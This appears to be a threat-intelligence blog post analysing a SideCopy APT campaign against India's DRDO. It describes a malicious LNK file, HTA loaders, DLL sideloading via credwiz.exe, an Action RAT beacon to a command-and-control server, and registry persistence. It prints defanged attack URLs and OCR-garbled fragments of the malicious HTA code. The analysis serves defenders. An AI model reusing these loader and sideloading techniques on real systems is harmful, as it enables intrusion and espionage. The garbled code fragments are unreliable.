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Notorious SideCopy APT group sets sights on India’s DRDO
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Threat Actors Use DLL Sideloading to Fly Under the Radar

SideCopy APT is a Threat Actor(TA) from Pakistan that has been active since 2019, focusing on targeting South
Asian nations, especially India and Afghanistan. The SideCopy APT gets its name from the infection chain, which
imitates that of the SideWinder APT. Some reports suggest that this actor shares characteristics with Transparent
Tribe (APT36) and could potentially be a sub-group of that threat actor.

Recently, Cyble Research and Intelligence Labs (CRIL) came across a Twitter post of an ongoing campaign by
SideCopy APT against the “Defence Research and Development Organisation” of the Indian government.

DRDO is a government agency tasked with researching and developing advanced technologies for use by the Indian
Armed Forces. Its focus includes creating cutting-edge defense systems such as missiles, radars, electronic warfare
and communication systems, naval and aerospace systems. The agency plays a significant role in India’s defense
industry, contributing to the country’s military strength and self-sufficiency in defense technology.

The initial infection starts with a spam email containing the link to the malicious file hosted on the compromised
website. The link allows users to download a ZIP file containing a LNK file named “DRDO — K4 Missile Clean
room.pptx.Ink” from the below URL:

o hxxps[:J//www[.Jcornerstonebeverly[.Jorg/js/files/DRDO-K4-Missile-Clean-room[.]zip

The delivery mechanism of the SideCopy APT attack via a spam email is illustrated in the figure below.
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Figure 1 — Infection chain

Initial Infection

The infection process begins with the user extracting a zip file and then running the .Ink file on their machine.

Once the .Ink file is executed, it triggers a command that launches “mshta.exe” to connect to a specific URL, shown in

the figure below.

» | DRDO - K4 Missile Clean room.pptx Properties

General Shotcut Security Detals Previous Versions

Fj l DRDO - K4 Missile Clean room ppbx I

Target type: Application
Target location: System32

Target: ‘nshta.exe I'ﬂtps;r"fcofnerstonebeverlr.orgf]sﬁlesf|

|C:\Windows\System32\

doecumentosoneso

Shorteut k Eﬁéne

Run: Normal window

Comment 'EJRDD - K4 Missile Clean room
mshia.exe

https://cornerstonebeverly.org/jsffiles/docufentososof

| Ok || Cancel

Figure 2 — Target command to launch MSHTA

After redirection, the URL eventually establishes a connection with the following URL:

o hxxps[:J//www[ Jcornerstonebeverly[.Jorg/js/files/docufentososo/doecumentosoneso/pantomimel.Jhta
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Subsequently, the hta file is downloaded and executed in the path mentioned below:

o c:\users\<Admin>\appdata\local\microsoft\windows\temporary internet
files\content.ie5\nxzxrd2m\pantomime.hta

The figure below displays a code snippet from the “pantomime.hta” file, including the compressed Microsoft
PowerPoint file encoded in Base64 format.

HnﬁaNMnaﬂ]

2 J window.resizeTo (0,0} ;

3 = function serviceVertion() {

var shsheallsheallsheallsheallshealleall = new ActiveXObject ('WScript.Shell');
veer = 'v4.0. 319° ;

& Hexy {

7 shsheallsheallsheallsheallshealleall.RegRead (" HELM
: } catch(e) {

veer = 'v2.0.50727';

shsheallsheallsheallsheallshealleall.Environment ('Pr
var fsciopfsoiopfsoiopfsciop = mew ActiveXObject ("Sc"+"ri
if (! fsciopfsoiopfsciopfsoiop.FolderExists("C

n') = veer;
systemobisct™) ;

14 fsoiopfsoiopfsoiopfsoiop.CreateFolde:k“?:"_;_:

17 }

20 var enic = new ActiveXObject("System.Text.ASCIIEncoding");
21 var lenggth = enic,GebBytecount_z(bopi):
22 var bopaaa = enic.GetBytes_4(bopi) ;

var tranisform = new ActiveXObject(": m.Security.Cryptography.From
24 bopaaa = tranisform. Transformrlnalalock{bopaaa, lenggth) ;

- var msts = new ActiveXObject("System.IO.MemoryStream”) ;

return msts;
29 1

18 varjdividindRule = "yXgZAB+LC ADTvOd IS¥vbepTf0xrlStfgdRETIgGAT INIQQBDswY JNSpLsHW1HT ymr Ko
% [ifunctionm basfo:s;xfourstream(bopl] {

msts.Write (bopaaa, 0, (lenggth f 4) * 3),
msts.Position = 0; /

var puncu reryres -

P

var firinglncident = "Work JTess” ;
L</script>

2 H<script language="javascript">

237 Htzy {

236 serviceVertion();

var LiveStreamingSites = basfors;xfourstream(puncutreTyres)
var Precisely = new ActiveXObject('System'+'.Ri Y
var makeNewArreya = new ActiveXObject('Sy @
var metroDownTown = Precisely.Deserialize 2{L1ve$tream1ng$1tes),
makeNewArreya.Add (undefined) ;
var raalObject = metroDownTown.Dyn
realObject.RealityShow(dividAndRule

/! alert(e):

I }

finally{window.close() ;}

L¢/script>

'y} catch (e) {

sataInstance (firingIncident) ;

Figure 3 — Code snippet of pantomime.hta file

After execution, the hta file decodes and decompresses the PPT file encoded in Base64 format. Consequently, it
saves the decompressed Microsoft PowerPoint file in the “%temp%” folder under the name “DRDO — K4 Missile
Clean room.pptx” and launches it, as shown in Figure 4. The TAs are enticing users with a DRDO PowerPoint

document and covertly engaging in malicious activities in the background through the “pantomime.hta” file.

3/9



AR CONDITIONING DE SIGN BA SIS REPORT

K4 CLEAN ROOM

AIR CONDITIONING DESIGN BASIS REPORT
FOR
K4 CLEAN ROOM

INTROBUCTION

BACKCRAOUND

Figure 4 — DRDO - K4 Missile Clean room MS PowerPoint slides

The hta file, aside from dropping the PPT file, carries out a concatenation operation and decodes the Base64-
encoded content of the DLL file named, “hta.dll”. When the decoding is complete, the DLL file is loaded into memory
and triggered using the Dynamicinvoke method. This method creates an instance of a class called “WorkInProgress”.

Upon execution, the “hta.dll” file drops another .hta file named “jquery.hta” under the directory “C:\ProgramData\HP”
and executes it through “mshta.exe”.

When executed, the “jquery.hta” file carries out the concatenation operation and decodes the Base64-encoded
content of the loader DLL file named “PreBotHta.dll”, as it did before for “hta.dll”. Once decoded, the “PreBotHta.dlIl”
file is loaded into the memory and invoked using the Dynamicinvoke method. This method creates an instance of a
class called “DraftingPad.”

It also uses a WMI query, specifically “Select * From AntiVirus,” to gather the names of installed antivirus products.

The below figure shows the code snippet of “jquery.hta” file.
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ey a3 |
1 ar favi = *Windows_10 Error";
1 u»--_l‘n.anpt ">

EE\ "1 l"' ; 31 ml Lid
. T
(3
11
13
14

___—~ preBomma]

L S S

var Laaddasargesesesst

</ncripe> preBotHta.dll
_'(l:'ip: languags="vbsoript”> \ class name

function reading ()
On Error Resume Next
Const HREY_LOCAL MACHINE =iH80000002
Set ObjectiveRagVeluses = GetObject ("virmgmts:|imperscnationlevel=isperecnate}!\\.\rect\default:StdRegirov”)
If ObjectiveRagVelusss. EnumFey (HEEY_LOCAL_MACHINE, “SOFTWARE\'\Microsoft\\.NETFrameworki\wd.0.3031%\\", *=, =") = 0 Then
reading = "v4.0.3031%"
Else
reading = "v2.0.50721"
End If
snd function

language="javascript >

245° E

var m:ucuwo&jecuuanuﬂut:anqumawnsunn«t = pew ActiveXObject('Wicsipt #11'0;

vesrsion = *

E try i ) )
veersion = reading(): |S&|0Ct *From AnllVlmsProdut:t]

} catchie) { g

veersion = 'v ‘i

‘] = vesrsion;

ve.ExecQuery (pater, null, 48);

var ummjo:uv.uuz. = new E 3 18 1EMaMT ¥ 1 1e);

war xayi = "°;
- for (: l'llamobiouwoliluo atEnd() ; Wamiobjectivelistre.moveNext()) |

zayi += (WamiobjectiveListre.item().displayName + ' ' + WamiCbjectivelistre.item().productState).replace{” =, ""};

xayl += "5i";

]

var DalliFlaiinByttes = bazSixFerToStresssamStranger I:nﬂa--unm-l.
war RuntimeSerializationtbject = new ActiveXoObjec:t (' T
var kollectionsArraylistObjective = new ActiveXObject (': c i
war DFB = RuntimeSerializationObject.Deserialize Ztmunniin!\runl :
26 kollectionsAzrraylistObjective . Add(undefined) :

268 war recuseObjective = DPB.DynamicInvoke (kollectionsArrayLi ¥l
[ r— - ™ — |preBotI-Ita.dIIﬁIe main function

Figure 5 — Code snippet of jquery.hta file

Finally, the “jquery.hta” file executes the PinkAgain() function of the loader “PreBotHta.dll” file, passing AntiVirus
names and a Base64 encoded payload called “DUser.dIl” as arguments.

The below figure shows the code snippet of the loaded “PreBotHta.dll” file.
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Figure 6 — Loaded PreBotHta.dll file in memory

DLL SideLoading

The PinkAgain() function has code to copy the legitimate and essential “credwiz.exe” file, which is a part of the
Windows operating system, and copies it to the following location as “cridviz.exe”. The legitimate file “credwiz.exe” is
primarily used to create and restore Windows user account credentials backups. Typically, it loads a legitimate file
named “Duser.dll.”

However, in this case, the malware takes Base64 encoded argument, decodes it, and saves it as “Duser.dll” in the
location where “cridviz.exe” was dropped previously. The dropped malicious file “Duser.dll” is a variant of the Action
Rat Malware family responsible for performing malicious activities in the victim’s machine. During its execution, the
loader drops both files in the below directory.

e C:\\Users\\Public\\hp\\cridviz.exe
e C:\\Users\\Public\\hp\\DUser.dlI

Furthermore, the loader utilizes various directories to drop the files “credwiz.exe” and “DUser.dll” using different
names based on the type of AntiVirus software installed on the victim’s machine. TAs commonly use the tactic to
increase the effectiveness of their attacks and avoid detection by security software.

The specific directories and filenames used by the loader, as indicated below.

e C:\\Users\\Public\\hp\\rekeywiz.exe
o C:\\Users\\Public\\hp\\rech.dat

¢ C:\\ProgramData\\Intel\\cridviz.exe
e C:\\ProgramData\\Intel\\DUser.dll
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Figure 7 — Files dropped by PreBotHta.dll
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Once the necessary files have been dropped onto the victim’s system, the “cridviz.exe” process is initiated, which
then proceeds to sideload the malicious payload “Duser.dll”, as shown in the figure below.

2N |
Handles GPU Comment

General Statistics Performance Threads Token Modules Memary Environment
MName Base address Size  Desciption LA
cridviz.exe 0x3ab000 IC:\Users\PuhIic\hp\DUser.dII Properties
advapi32.dl 0x75680000 |
beryptprimitives...  0x769c0000 General Imports  Load config
combase.dll 0x762b0000 Fie
o] o
vtz di | (UNVERIFIED)
cryptbase.dl Version: NfA
dnsapi.dl 0x736b0000
DUser.dl 0x73c90000 Target machine: i386
gd|32‘d" 0x76d50000 Time stamp: 09:27:32 20-01-2023
gdi32full.dil 0x75910000 Image base: Ox¢ 1000000000030000
imm32.dl 0x75650000 Checksum: 0x0 (real 0x3f378)
IPHLPAPL.DLL 0x74920000 Subsystem: Windows GUI
kernel32.dI 0x76a20000 Subsystem version: 6.0
KernelBase.dl 0x77320000 }  Characteristics: Executshle, DLL, Dynamic base, NX compatible
locale.nls 0x2d40000 Sactiong:
msctf.dl 0x 756540000
MsCtfMonitor.di 0x73a10000 Mame VA Size
msutb.dll 0x721d0000 Jfext 0x 1000 0x22800
mswicp 140.dil Ox6df70000 [rdata 0x30000 Ox6e00
msvicp_win.dll Ox76d30000 .data 0x37000 0x 1000
mswvert.dl Ox76800000 SrC 0x39000 0x 200
meawenk. dl N¥ 73580000 reloc 0x3a000 0x1c00

|

Figure 8 — cridviz.exe side loading DUser.dll

Action RAT Payload

To begin its malicious operation, the RAT first gathers information about the victim’s machine, such as its hostname,
username, operating system version, and installed antivirus products. This data is then transmitted to the Command-
and-Control(C&C) server via HTTP request, as below.

o hxxp[:]/144[.]91[.]72[.]17:8080/streamcmd?AV=[Redacted]&0S=[Redacted]&Vesrion=[Redacted]&detail=

[Redacted]

Afterward, the malicious process enters a loop and remains idle until it receives commands from the server, which it
executes. The RAT possesses the ability to perform any of the following operations upon receiving commands from

the C&C:

e Execute: Carry out commands sent from the server

* Download: Retrieve and install additional payloads

¢ Drives: Obtain information about the available drives

¢ GetFiles: Retrieve information about specific files

e Execute: Launch a designated payload using CreateProcessW/()
¢ Upload: Transmit files to the server
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In addition, the loader DLL was utilized to deploy a recently developed information-stealing malware called AuTo
Stealer. This malware can gather PDF documents, Office/text/database files, and images and transmit the stolen
information via HTTP or TCP.

Persistence

This loader DLL file also drops a batch file named “test.bat” in the %temp% directory, which creates an auto startup
entry for the “cridviz.exe” file using the “reg.exe” utility, as shown in the figure below.

V "Windows Update Schedule" /t REG_SZ
C:\Users\Public\hp\cridviz.exe"

Figure 9 — Run entry for Persistence

Conclusion

SideCopy is an APT group that emulates the tactics of the Sidewinder APT to distribute its own malware. Its attack
patterns typically involve the use of malicious LNK files to initiate a complex chain of infection using multiple HTAs
and loader DLLs, ultimately leading to the deployment of final payloads. This group has been observed to target
government and military officials in India and Afghanistan specifically. The APT group continuously evolves its
techniques while incorporating new tools into its arsenal.

CRIL continues to monitor the most recent APT attacks, phishing attacks, or malware strains in circulation and
regularly publishes informative blog posts with practical insights to help protect users from these well-known attacks.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We
recommend that our readers follow the best practices as mentioned below:

« Avoid downloading pirated software from warez/torrent websites. The “Hack Tool” present on sites such as
YouTube, torrent sites, etc., mainly contains such malware.

* Use strong passwords and enforce multi-factor authentication wherever possible.

* Turn on the automatic software update feature on your computer, mobile, and other connected devices.

¢ Use a reputed antivirus and internet security software package on your connected devices, including PC,
laptop, and mobile.

¢ Refrain from opening untrusted links and email attachments without first verifying their authenticity.

* Educate employees on protecting themselves from threats like phishing/untrusted URLs.

¢ Block URLs that could be used to spread the malware, e.g., Torrent/Warez.

« Monitor the beacon on the network level to block data exfiltration by malware or TAs.

¢ Enable Data Loss Prevention (DLP) Solutions on the employees’ systems.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name
Initial Access T1566 Spearphishing Attachment
T1204 User Execution
Execution T1047 Windows Management Instrumentation
T1170 Mshta
T1129 Shared Modules
Defense Evasion Eg?g g;ssig?r?giﬁgg/ Proxy Execution
Persistence T1547 Registry Run Keys / Startup Folder
. T101 m Network Configuration
Discovery T1 85? g?/:;gveryelf’rgcesgoDis%gva:r?/
Collection T1185 Browser Session Hijacking
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Commandand T1071 Application Layer Protocol
Control T1105 Ingress Tool Transfer

Indicators Of Compromise

Indicators
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